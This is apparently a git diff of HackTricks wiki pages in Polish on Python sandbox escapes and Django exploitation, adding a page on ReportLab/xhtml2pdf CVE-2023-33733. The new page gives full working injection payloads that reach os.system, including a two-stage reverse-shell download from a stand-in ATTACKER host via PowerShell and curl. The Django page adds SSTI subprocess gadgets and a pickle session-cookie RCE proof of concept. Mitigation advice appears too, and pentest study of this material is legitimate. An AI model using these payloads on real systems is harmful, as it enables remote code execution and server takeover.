fc = get_flag.__code__
|
fc = get_flag.__code__
|
||||||
# In a real situation the values like fc.co_argcount are the ones you need to leak
|
# In a real situation the values like fc.co_argcount are the ones you need to leak
|
||||||
@ -983,10 +992,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
|||||||
```
|
```
|
||||||
### Bypass Defenses
|
### Bypass Defenses
|
||||||
|
|
||||||
W poprzednich przykładach na początku tego posta, możesz zobaczyć **jak wykonać dowolny kod python za pomocą funkcji `compile`**. To jest interesujące, ponieważ możesz **wykonywać całe skrypty** z pętlami i wszystkim w **jednej linii** (i moglibyśmy zrobić to samo używając **`exec`**).\
|
W poprzednich przykładach na początku tego wpisu możesz zobaczyć **jak wykonać dowolny kod w pythonie używając funkcji `compile`**. To ciekawe, ponieważ możesz **wykonać całe skrypty** z pętlami i wszystkim w **one liner** (i moglibyśmy to samo zrobić używając **`exec`**).\
|
||||||
W każdym razie, czasami może być przydatne, aby **utworzyć** **skompilowany obiekt** na lokalnej maszynie i wykonać go na **maszynie CTF** (na przykład, ponieważ nie mamy funkcji `compiled` w CTF).
|
Czasami jednak może być przydatne **stworzyć** **skompilowany obiekt** na lokalnej maszynie i uruchomić go w **CTF machine** (na przykład ponieważ w CTF nie mamy funkcji `compiled`).
|
||||||
|
|
||||||
Na przykład, skompilujmy i wykonajmy ręcznie funkcję, która odczytuje _./poc.py_:
|
Na przykład, skompilujmy i uruchommy ręcznie funkcję, która czyta _./poc.py_:
|
||||||
```python
|
```python
|
||||||
#Locally
|
#Locally
|
||||||
def read():
|
def read():
|
||||||
@ -1013,7 +1022,7 @@ mydict['__builtins__'] = __builtins__
|
|||||||
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
||||||
function_type(codeobj, mydict, None, None, None)()
|
function_type(codeobj, mydict, None, None, None)()
|
||||||
```
|
```
|
||||||
Jeśli nie możesz uzyskać dostępu do `eval` lub `exec`, możesz stworzyć **odpowiednią funkcję**, ale jej bezpośrednie wywołanie zazwyczaj zakończy się niepowodzeniem z komunikatem: _konstruktor niedostępny w trybie ograniczonym_. Musisz więc mieć **funkcję, która nie jest w ograniczonym środowisku, aby wywołać tę funkcję.**
|
Jeśli nie masz dostępu do `eval` lub `exec`, możesz utworzyć **właściwą funkcję**, ale jej bezpośrednie wywołanie zwykle zakończy się niepowodzeniem z komunikatem: _constructor not accessible in restricted mode_. Dlatego potrzebujesz **funkcji spoza środowiska ograniczonego, która wywoła tę funkcję.**
|
||||||
```python
|
```python
|
||||||
#Compile a regular print
|
#Compile a regular print
|
||||||
ftype = type(lambda: None)
|
ftype = type(lambda: None)
|
||||||
@ -1021,22 +1030,22 @@ ctype = type((lambda: None).func_code)
|
|||||||
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
|
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
|
||||||
f(42)
|
f(42)
|
||||||
```
|
```
|
||||||
## Decompilacja skompilowanego Pythona
|
## Dekompilacja skompilowanego kodu Python
|
||||||
|
|
||||||
Używając narzędzi takich jak [**https://www.decompiler.com/**](https://www.decompiler.com), można **dekompilować** dany skompilowany kod Pythona.
|
Używając narzędzi takich jak [**https://www.decompiler.com/**](https://www.decompiler.com) można **dekompilować** dany skompilowany kod python.
|
||||||
|
|
||||||
**Sprawdź ten samouczek**:
|
**Zobacz ten samouczek**:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
|
../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
## Różne aspekty Pythona
|
## Różne w Pythonie
|
||||||
|
|
||||||
### Assert
|
### Assert
|
||||||
|
|
||||||
Python uruchomiony z optymalizacjami z parametrem `-O` usunie instrukcje assert oraz wszelki kod warunkowy zależny od wartości **debug**.\
|
Python uruchamiany z optymalizacjami przy użyciu parametru `-O` usunie instrukcje assert oraz wszelki kod zależny od wartości **debug**.\
|
||||||
Dlatego sprawdzenia takie jak
|
Dlatego sprawdzenia takie jak
|
||||||
```python
|
```python
|
||||||
def check_permission(super_user):
|
def check_permission(super_user):
|
||||||
@ -1046,9 +1055,9 @@ print("\nYou are a super user\n")
|
|||||||
except AssertionError:
|
except AssertionError:
|
||||||
print(f"\nNot a Super User!!!\n")
|
print(f"\nNot a Super User!!!\n")
|
||||||
```
|
```
|
||||||
będzie omijane
|
zostanie ominięte
|
||||||
|
|
||||||
## Odniesienia
|
## Referencje
|
||||||
|
|
||||||
- [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/)
|
- [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/)
|
||||||
- [https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/)
|
- [https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/)
|
||||||
@ -1056,5 +1065,8 @@ będzie omijane
|
|||||||
- [https://gynvael.coldwind.pl/n/python_sandbox_escape](https://gynvael.coldwind.pl/n/python_sandbox_escape)
|
- [https://gynvael.coldwind.pl/n/python_sandbox_escape](https://gynvael.coldwind.pl/n/python_sandbox_escape)
|
||||||
- [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)
|
- [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)
|
||||||
- [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
- [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
||||||
|
- [CVE-2023-33733 (ReportLab rl_safe_eval expression evaluation RCE) – NVD](https://nvd.nist.gov/vuln/detail/cve-2023-33733)
|
||||||
|
- [c53elyas/CVE-2023-33733 PoC and write-up](https://github.com/c53elyas/CVE-2023-33733)
|
||||||
|
- [0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
@ -0,0 +1,79 @@
|
|||||||
|
# ReportLab/xhtml2pdf [[[...]]] expression-evaluation RCE (CVE-2023-33733)
|
||||||
|
|
||||||
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
Ta strona dokumentuje praktyczne obejście sandboxa i prymityw RCE w ReportLab’s rl_safe_eval używanym przez xhtml2pdf i inne pipeline’y generujące PDF, gdy renderują HTML kontrolowany przez użytkownika do PDFów.
|
||||||
|
|
||||||
|
CVE-2023-33733 dotyczy ReportLab w wersjach do i włącznie 3.6.12. W pewnych kontekstach atrybutów (na przykład color) wartości owinięte w potrójne nawiasy [[[ ... ]]] są oceniane po stronie serwera przez rl_safe_eval. Poprzez skonstruowanie ładunku, który pivotuje z białej listy builtinów (pow) do jego Pythonowych globals funkcji, atakujący może dotrzeć do modułu os i wykonać polecenia.
|
||||||
|
|
||||||
|
Kluczowe punkty
|
||||||
|
- Trigger: wstrzyknij [[[ ... ]]] do ocenianych atrybutów, takich jak <font color="..."> w obrębie markup parsowanego przez ReportLab/xhtml2pdf.
|
||||||
|
- Sandbox: rl_safe_eval zastępuje niebezpieczne builtiny, ale oceniane funkcje nadal ujawniają __globals__.
|
||||||
|
- Bypass: stwórz przejściową klasę Word, aby obejść sprawdzanie nazw w rl_safe_eval i uzyskać dostęp do stringa "__globals__" unikając filtrowania zablokowanych dunderów.
|
||||||
|
- RCE: getattr(pow, Word("__globals__"))["os"].system("<cmd>")
|
||||||
|
- Stabilność: zwróć poprawną wartość dla atrybutu po wykonaniu (dla color użyj na przykład 'red').
|
||||||
|
|
||||||
|
Kiedy testować
|
||||||
|
- Aplikacje, które udostępniają eksport HTML→PDF (profile, faktury, raporty) i pokazują xhtml2pdf/ReportLab w metadanych PDF lub komentarzach w odpowiedzi HTTP.
|
||||||
|
- exiftool profile.pdf | egrep 'Producer|Title|Creator' → producent "xhtml2pdf"
|
||||||
|
- Odpowiedź HTTP dla PDF często zaczyna się komentarzem generatora ReportLab
|
||||||
|
|
||||||
|
Jak działa obejście sandboxa
|
||||||
|
- rl_safe_eval usuwa lub zastępuje wiele builtinów (getattr, type, pow, ...) i stosuje filtrowanie nazw, aby odmówić dostępu do atrybutów zaczynających się od __ lub znajdujących się na denyliście.
|
||||||
|
- Jednak bezpieczne funkcje żyją w słowniku globals dostępnych jako func.__globals__.
|
||||||
|
- Użyj type(type(1)) aby odzyskać prawdziwą wbudowaną funkcję type (obejście wrappera ReportLab), następnie zdefiniuj klasę Word dziedziczącą po str z zmienionym zachowaniem porównań tak, że:
|
||||||
|
- .startswith('__') → zawsze False (obejście sprawdzenia name startswith('__'))
|
||||||
|
- .__eq__ zwraca False tylko przy pierwszym porównaniu (obejście sprawdzeń członkostwa w denyliście) i True potem (tak by Python getattr zadziałał)
|
||||||
|
- .__hash__ równa się hash(str(self))
|
||||||
|
- Dzięki temu getattr(pow, Word('__globals__')) zwraca słownik globals opakowanej funkcji pow, który zawiera zaimportowany moduł os. Następnie: ['os'].system('<cmd>').
|
||||||
|
|
||||||
|
Minimalny schemat eksploatacji (przykład atrybutu)
|
||||||
|
Umieść ładunek wewnątrz ocenianego atrybutu i upewnij się, że zwraca on poprawną wartość atrybutu przez boolean i 'red'.
|
||||||
|
|
||||||
|
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('ping 10.10.10.10') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
|
||||||
|
exploit
|
||||||
|
</font></para>
|
||||||
|
|
||||||
|
- Forma z list-comprehension pozwala na pojedyncze wyrażenie akceptowalne przez rl_safe_eval.
|
||||||
|
- Końcowe and 'red' zwraca poprawny CSS color, więc renderowanie nie przerywa się.
|
||||||
|
- Podmień polecenie według potrzeb; użyj ping do weryfikacji wykonania przy pomocy tcpdump.
|
||||||
|
|
||||||
|
Przebieg operacyjny
|
||||||
|
1) Zidentyfikuj generator PDF
|
||||||
|
- PDF Producer pokazuje xhtml2pdf; odpowiedź HTTP zawiera komentarz ReportLab.
|
||||||
|
2) Znajdź input odzwierciedlany w PDF (np. bio/opis profilu) i uruchom eksport.
|
||||||
|
3) Zweryfikuj wykonanie niskoszumowym ICMP
|
||||||
|
- Uruchom: sudo tcpdump -ni <iface> icmp
|
||||||
|
- Payload: ... system('ping <your_ip>') ...
|
||||||
|
- Windows często wysyła dokładnie cztery echo requesty domyślnie.
|
||||||
|
4) Ustanowienie shella
|
||||||
|
- Dla Windows, niezawodne podejście dwustopniowe omija problemy z cytowaniem/kodowaniem:
|
||||||
|
- Stage 1 (pobranie):
|
||||||
|
|
||||||
|
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell -c iwr http://ATTACKER/rev.ps1 -o rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
|
||||||
|
|
||||||
|
- Stage 2 (uruchomienie):
|
||||||
|
|
||||||
|
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell ./rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
|
||||||
|
|
||||||
|
- Dla systemów Linux możliwe jest podobne dwustopniowe podejście z curl/wget:
|
||||||
|
- system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')
|
||||||
|
|
||||||
|
Notatki i wskazówki
|
||||||
|
- Konteksty atrybutów: color jest znanym ocenianym atrybutem; inne atrybuty w markup ReportLab mogą również oceniać wyrażenia. Jeśli jedno miejsce jest sanitizowane, spróbuj innych renderowanych do PDF flow (inne pola, style tabel, itd.).
|
||||||
|
- Cytowanie: trzymaj polecenia zwarte. Dwustopniowe pobieranie znacznie redukuje problemy z cytowaniem i eskapowaniem.
|
||||||
|
- Niezawodność: jeśli eksporty są cachowane lub kolejkowane, nieznacznie zmieniaj ładunek (np. losowa ścieżka lub query), aby uniknąć trafienia do cache.
|
||||||
|
|
||||||
|
Łagodzenie i wykrywanie
|
||||||
|
- Uaktualnij ReportLab do 3.6.13 lub nowszego (CVE-2023-33733 naprawiony). Śledź też komunikaty bezpieczeństwa w pakietach dystrybucji.
|
||||||
|
- Nie podawaj HTML/markup kontrolowanego przez użytkownika bezpośrednio do xhtml2pdf/ReportLab bez ścisłej sanitizacji. Usuń/odrzuć konstrukty [[[...]]] oceniające wyrażenia i vendor-specific tagi, gdy input jest nieufny.
|
||||||
|
- Rozważ wyłączenie lub opakowanie użycia rl_safe_eval całkowicie dla danych nieufnych.
|
||||||
|
- Monitoruj podejrzane połączenia wychodzące podczas generowania PDF (np. ICMP/HTTP z serwerów aplikacji podczas eksportu dokumentów).
|
||||||
|
|
||||||
|
Referencje
|
||||||
|
- PoC i analiza techniczna: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733)
|
||||||
|
- 0xdf University HTB write-up (real-world exploitation, Windows two-stage payloads): [HTB: University](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
|
||||||
|
- NVD entry (affected versions): [CVE-2023-33733](https://nvd.nist.gov/vuln/detail/cve-2023-33733)
|
||||||
|
- xhtml2pdf docs (markup/page concepts): [xhtml2pdf docs](https://xhtml2pdf.readthedocs.io/en/latest/format_html.html)
|
||||||
|
|
||||||
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
@ -2,49 +2,58 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Manipulacja pamięcią podręczną do RCE
|
## Cache Manipulation to RCE
|
||||||
Domyślną metodą przechowywania pamięci podręcznej w Django są [Python pickles](https://docs.python.org/3/library/pickle.html), co może prowadzić do RCE, jeśli [niezaufane dane wejściowe są odpakowywane](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Jeśli atakujący uzyska dostęp do zapisu w pamięci podręcznej, może eskalować tę podatność do RCE na serwerze bazowym**.
|
Django's default cache storage method is [Python pickles](https://docs.python.org/3/library/pickle.html), which can lead to RCE if [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Jeśli atakujący może uzyskać write access do cache, może eskalować tę podatność do RCE na serwerze bazowym**.
|
||||||
|
|
||||||
Pamięć podręczna Django jest przechowywana w jednym z czterech miejsc: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [pamięci](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [plikach](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16) lub w [bazie danych](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Pamięć podręczna przechowywana na serwerze Redis lub w bazie danych jest najbardziej prawdopodobnym wektorem ataku (iniekcja Redis i iniekcja SQL), ale atakujący może również wykorzystać pamięć podręczną opartą na plikach, aby przekształcić dowolny zapis w RCE. Utrzymujący oznaczyli to jako problem, który nie wymaga uwagi. Ważne jest, aby zauważyć, że folder plików pamięci podręcznej, nazwa tabeli SQL i szczegóły serwera Redis będą się różnić w zależności od implementacji.
|
Django cache is stored in one of four places: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), or a [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Cache stored in a Redis server or database are the most likely attack vectors (Redis injection and SQL injection), but an attacker may also be able to use file-based cache to turn an arbitrary write into RCE. Maintainersi oznaczyli to jako nieistotne. Ważne jest, aby pamiętać, że folder z plikami cache, nazwa tabeli SQL i szczegóły serwera Redis będą się różnić w zależności od implementacji.
|
||||||
|
|
||||||
Ten raport HackerOne dostarcza świetny, powtarzalny przykład wykorzystania pamięci podręcznej Django przechowywanej w bazie danych SQLite: https://hackerone.com/reports/1415436
|
This HackerOne report provides a great, reproducible example of exploiting Django cache stored in a SQLite database: https://hackerone.com/reports/1415436
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Wstrzykiwanie szablonów po stronie serwera (SSTI)
|
## Server-Side Template Injection (SSTI)
|
||||||
Język szablonów Django (DTL) jest **kompletny w sensie Turinga**. Jeśli dane dostarczone przez użytkownika są renderowane jako *ciąg szablonu* (na przykład przez wywołanie `Template(user_input).render()` lub gdy `|safe`/`format_html()` usuwa automatyczne eskapowanie), atakujący może osiągnąć pełne SSTI → RCE.
|
The Django Template Language (DTL) is **Turing-complete**. If user-supplied data is rendered as a *template string* (for example by calling `Template(user_input).render()` or when `|safe`/`format_html()` removes auto-escaping), an attacker may achieve full SSTI → RCE.
|
||||||
|
|
||||||
### Wykrywanie
|
### Wykrywanie
|
||||||
1. Szukaj dynamicznych wywołań do `Template()` / `Engine.from_string()` / `render_to_string()`, które zawierają *jakiekolwiek* niesanitizowane dane żądania.
|
1. Szukaj dynamicznych wywołań do `Template()` / `Engine.from_string()` / `render_to_string()` które zawierają *jakiekolwiek* niesanitizowane dane żądania.
|
||||||
2. Wyślij ładunek oparty na czasie lub arytmetyce:
|
2. Wyślij time-based lub arytmetyczny payload:
|
||||||
```django
|
```django
|
||||||
{{7*7}}
|
{{7*7}}
|
||||||
```
|
```
|
||||||
Jeśli renderowany wynik zawiera `49`, dane wejściowe są kompilowane przez silnik szablonów.
|
Jeśli wyrenderowany wynik zawiera `49`, to wejście jest kompilowane przez silnik szablonów.
|
||||||
|
|
||||||
### Primitwa do RCE
|
### Prymityw do RCE
|
||||||
Django blokuje bezpośredni dostęp do `__import__`, ale graf obiektów Pythona jest osiągalny:
|
Django blokuje bezpośredni dostęp do `__import__`, ale graf obiektów Pythona jest osiągalny:
|
||||||
```django
|
```django
|
||||||
{{''.__class__.mro()[1].__subclasses__()}}
|
{{''.__class__.mro()[1].__subclasses__()}}
|
||||||
```
|
```
|
||||||
Znajdź indeks `subprocess.Popen` (≈400–500 w zależności od wersji Pythona) i wykonaj dowolne polecenia:
|
Znajdź indeks `subprocess.Popen` (≈400–500 w zależności od kompilacji Pythona) i wykonaj dowolne polecenia:
|
||||||
```django
|
```django
|
||||||
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
|
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
|
||||||
```
|
```
|
||||||
Bezpieczniejszym uniwersalnym gadżetem jest iteracja, aż `cls.__name__ == 'Popen'`.
|
Bezpieczniejszym uniwersalnym gadgetem jest iterowanie, aż `cls.__name__ == 'Popen'`.
|
||||||
|
|
||||||
Ten sam gadżet działa dla funkcji renderowania **Debug Toolbar** lub **Django-CMS**, które niewłaściwie obsługują dane wejściowe użytkownika.
|
Ten sam gadget działa dla funkcji renderowania szablonów **Debug Toolbar** lub **Django-CMS**, które niewłaściwie obsługują dane wejściowe użytkownika.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## RCE z wykorzystaniem ciasteczka sesyjnego opartego na Pickle
|
### Zobacz też: ReportLab/xhtml2pdf PDF export RCE
|
||||||
Jeśli ustawienie `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` jest włączone (lub niestandardowy serializer, który deserializuje pickle), Django *deszyfruje i unpickluje* ciasteczko sesyjne **przed** wywołaniem jakiegokolwiek kodu widoku. Dlatego posiadanie ważnego klucza podpisu (domyślnie `SECRET_KEY` projektu) wystarcza do natychmiastowego zdalnego wykonania kodu.
|
Aplikacje oparte na Django często integrują xhtml2pdf/ReportLab do eksportu widoków jako PDF. Gdy HTML kontrolowany przez użytkownika trafia do generowania PDF, rl_safe_eval może ocenić wyrażenia wewnątrz potrójnych nawiasów `[[[ ... ]]]`, umożliwiając wykonanie kodu (CVE-2023-33733). Szczegóły, payloads i mitigations:
|
||||||
|
|
||||||
### Wymagania dotyczące eksploatacji
|
{{#ref}}
|
||||||
|
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Pickle-Backed Session Cookie RCE
|
||||||
|
Jeśli ustawienie `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` jest włączone (lub używany jest niestandardowy serializer, który deserializuje pickle), Django *decrypts and unpickles* session cookie **zanim** wywoła jakikolwiek kod widoku. W związku z tym posiadanie prawidłowego klucza podpisującego (domyślnie projektowy `SECRET_KEY`) wystarcza do natychmiastowego remote code execution.
|
||||||
|
|
||||||
|
### Exploit Requirements
|
||||||
* Serwer używa `PickleSerializer`.
|
* Serwer używa `PickleSerializer`.
|
||||||
* Atakujący zna / może zgadnąć `settings.SECRET_KEY` (wycieki przez GitHub, `.env`, strony błędów itp.).
|
* Atakujący zna / może odgadnąć `settings.SECRET_KEY` (leaks via GitHub, `.env`, error pages, itd.).
|
||||||
|
|
||||||
### Dowód koncepcji
|
### Proof-of-Concept
|
||||||
```python
|
```python
|
||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
from django.contrib.sessions.serializers import PickleSerializer
|
from django.contrib.sessions.serializers import PickleSerializer
|
||||||
@ -58,22 +67,23 @@ return (os.system, ("id > /tmp/pwned",))
|
|||||||
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
|
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
|
||||||
print(f"sessionid={mal}")
|
print(f"sessionid={mal}")
|
||||||
```
|
```
|
||||||
Wyślij wynikowe ciasteczko, a ładunek działa z uprawnieniami pracownika WSGI.
|
Wyślij otrzymane cookie, a payload wykona się z uprawnieniami procesu WSGI.
|
||||||
|
|
||||||
**Mitigacje**: Utrzymuj domyślny `JSONSerializer`, rotuj `SECRET_KEY` i skonfiguruj `SESSION_COOKIE_HTTPONLY`.
|
**Środki zaradcze**: Zachowaj domyślny `JSONSerializer`, regularnie zmieniaj `SECRET_KEY` i skonfiguruj `SESSION_COOKIE_HTTPONLY`.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Ostatnie (2023-2025) Wysokiego Wpływu CVE Django, które powinni sprawdzić pentesterzy
|
## Najnowsze (2023-2025) wysokiego ryzyka CVE Django, które Pentesters powinni sprawdzić
|
||||||
* **CVE-2025-48432** – *Wstrzykiwanie logów przez nieucieczone `request.path`* (naprawione 4 czerwca 2025). Pozwala atakującym na przemycanie nowych linii/kodów ANSI do plików logów i zanieczyszczanie analizy logów w dół. Poziom łaty ≥ 4.2.22 / 5.1.10 / 5.2.2.
|
* **CVE-2025-48432** – *Log Injection via unescaped `request.path`* (załatane 4 Jun 2025). Pozwala atakującym przemycać znaki nowej linii/kody ANSI do plików logów i zatruwać dalszą analizę logów. Poprawki w wersjach ≥ 4.2.22 / 5.1.10 / 5.2.2.
|
||||||
* **CVE-2024-42005** – *Krytyczne wstrzykiwanie SQL* w `QuerySet.values()/values_list()` na `JSONField` (CVSS 9.8). Twórz klucze JSON, aby wydostać się z cytatów i wykonywać dowolne SQL. Naprawione w 4.2.15 / 5.0.8.
|
* **CVE-2024-42005** – *Critical SQL injection* in `QuerySet.values()/values_list()` on `JSONField` (CVSS 9.8). Pozwala skonstruować klucze JSON, które przerwą cytowanie i wykonają dowolne zapytania SQL. Załatane w 4.2.15 / 5.0.8.
|
||||||
|
|
||||||
Zawsze identyfikuj dokładną wersję frameworka za pomocą strony błędu `X-Frame-Options` lub hasha `/static/admin/css/base.css` i testuj powyższe tam, gdzie to możliwe.
|
Zawsze zidentyfikuj dokładną wersję frameworka za pomocą strony błędu `X-Frame-Options` lub hasha `/static/admin/css/base.css` i przetestuj powyższe tam, gdzie ma to zastosowanie.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Odniesienia
|
## Referencje
|
||||||
* Wydanie zabezpieczeń Django – "Django 5.2.2, 5.1.10, 4.2.22 adresuje CVE-2025-48432" – 4 czerwca 2025.
|
* Komunikat bezpieczeństwa Django – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 Jun 2025.
|
||||||
* OP-Innovate: "Django wydaje aktualizacje zabezpieczeń w celu rozwiązania problemu z wstrzykiwaniem SQL CVE-2024-42005" – 11 sierpnia 2024.
|
* OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 Aug 2024.
|
||||||
|
* 0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD – [https://0xdf.gitlab.io/2025/08/09/htb-university.html](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user